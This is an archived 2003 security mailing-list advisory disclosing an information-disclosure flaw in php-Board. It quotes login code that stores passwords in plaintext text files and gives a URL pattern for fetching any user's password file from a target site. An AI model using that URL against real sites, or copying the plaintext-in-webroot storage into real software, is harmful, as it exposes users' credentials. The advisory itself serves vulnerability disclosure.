[VulnWatch] php-Board (php)

• Previous message: @stake Advisories: "[VulnWatch] @stake Advisory: TruBlueEnvironment Privilege Escalation Attack"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Sat, 15 Feb 2003 10:34:11 +0100

Informations :
°°°°°°°°°°°°°°
Website : http://www.hp-planet.de
Version : 1
Problem : Informations disclosure

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
login.php :
-----------------------------------------
function passwd2($user)
{
$password="nicht registriert";
if (file_exists("user/".$user.".txt"))
{
$fp = fopen("user/".$user.".txt","r");
$data = fgetcsv($fp,10000,"#");
fclose($fp);
$password=$data[0];
}
return($password);
}
-----------------------------------------

Exploit :
°°°°°°°°°
http://[target]/user/[NICKNAME].txt

More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/5holes8.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2F5holes8.txt&langpair=fr%7Cen&hl=fr&ie=ISO-8859-1&prev=%2Flanguage_tools1:37:46 +0100 (CET)

frog-m@n
http://www.phpsecure.org

_________________________________________________________________

• Next message: Frog Man: "[VulnWatch] DotBr (PHP)"
• Previous message: @stake Advisories: "[VulnWatch] @stake Advisory: TruBlueEnvironment Privilege Escalation Attack"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]